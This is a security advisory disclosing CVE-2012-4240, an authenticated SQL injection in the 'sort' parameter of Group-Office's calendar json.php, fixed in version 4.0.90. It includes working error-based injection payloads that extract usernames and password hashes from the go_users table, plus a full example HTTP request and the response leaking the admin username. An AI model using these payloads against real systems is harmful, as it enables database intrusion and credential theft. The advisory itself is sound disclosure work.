Group Office Calendar - 'calendar/json.php' SQL Injection

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| Group-Office Calendar SQL Injection |

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Summary

=======



Versions of Group-Office (a web app for online collaboration) prior to

4.0.90 are subject to a SQL injection vulnerability located in the calendar

module. A PHP file, used to serve data in the JSON format, does not

sufficiently sanitise a user-supplied parameter injected into the ORDER BY

part of an SQL query. An attacker can leverage this flaw to extract

information from the database via SQL errors.



CVE number: CVE-2012-4240

Impact: High

Vendor homepage: http://www.group-office.com/

Vendor notified: 19/07/2012

Credit: Chris Cooper and Joseph Sheridan

Homepage: http://www.reactionpenetrationtesting.co.uk/



This advisory is posted at:



http://www.reactionpenetrationtesting.co.uk/group-office-sqli.html





Affected Products

======== ========



Confirmed in Group-Office community 4.0.71, 4.0.73 and 4.0.88. Other

versions may also be affected.





Details

=======



A 'sort' parameter on the page /modules/calendar/json.php was found to be

subject to a SQL injection vulnerability. It was possible to inject

arbitrary SQL statements into an ORDER BY clause, retrieving information

from the database via an error message. The attacker must be authenticated

as a valid user in order for the attack to be successful.



Injecting the following SQL code into the 'sort' parameter will trigger the

vulnerability, retrieving the first user's username. Changing 'username' to

'password' retrieves their hashed password. For version 4.0.71:



ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1)))



Or for versions 4.0.73 and 4.0.88:



id`,ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1)))#





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Example Request (version 4.0.71):

+--------------------------------



POST /groupoffice/modules/calendar/json.php HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 162

Cookie: groupoffice=tgocfuhoh7lrqo0mckfef4us04; GO_LANGUAGE=en_UK



sort=ExtractValue(1,CONCAT(0x5c,(SELECT%20username%20FROM%20go_users%20LIMIT

%201)))&dir=ASC&task=writable_views&limit=20&security_token=pfi5lckw3r9qm64n

adgb





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Example Response (version 4.0.71):

+---------------------------------



HTTP/1.1 200 OK

Date: Fri, 20 Jul 2012 14:16:09 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0,

pre-check=0

Pragma: no-cache

Content-Length: 397

Content-Type: text/html; charset=UTF-8



{"feedback":"<b>Database error:<\/b> Invalid SQL: SELECT SQL_CALC_FOUND_ROWS

v.* FROM cal_views v INNER JOIN go_acl a ON (v.acl_id = a.acl_id AND

a.level>10 AND (a.user_id=1 OR a.group_id IN (1,2,3)))  GROUP BY v.id ORDER

BY ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1))) ASC

LIMIT 0,20<br>\n<b>MySQL Error<\/b>: 1105 (XPATH syntax error:

'\\admin')<br>\n","success":false}





Impact

======



An authenticated attacker might be able to take control of the database

within the context of the MySQL user, and potentially use this as leverage

to further compromise the host machine.





Solution

========



Upgrade to Group-Office community 4.0.90.





Distribution

============



In addition to posting on the website, a text version of this notice has

been posted to the following e-mail and Usenet news recipients.



* bugtraq () securityfocus com

* full-disclosure () lists grok org uk



Future updates of this advisory, if any, will be placed on the ReactionIS

corporate website, but may or may not be actively announced on mailing lists

or newsgroups. Users concerned about this problem are encouraged to check

the URL below for any updates:





http://www.reactionpenetrationtesting.co.uk/group-office-sqli.html



============================================================================

==



Reaction Information Security 

Lombard House Business Centre,

Suite 117,

12-17 Upper Bridge Street,

Canterbury, Kent, CT1 2NF



Phone: +44 (0)1227 785050

Email: research () reactionis {dot} co {dot} uk

Web: http://www.reactionpenetrationtesting.co.uk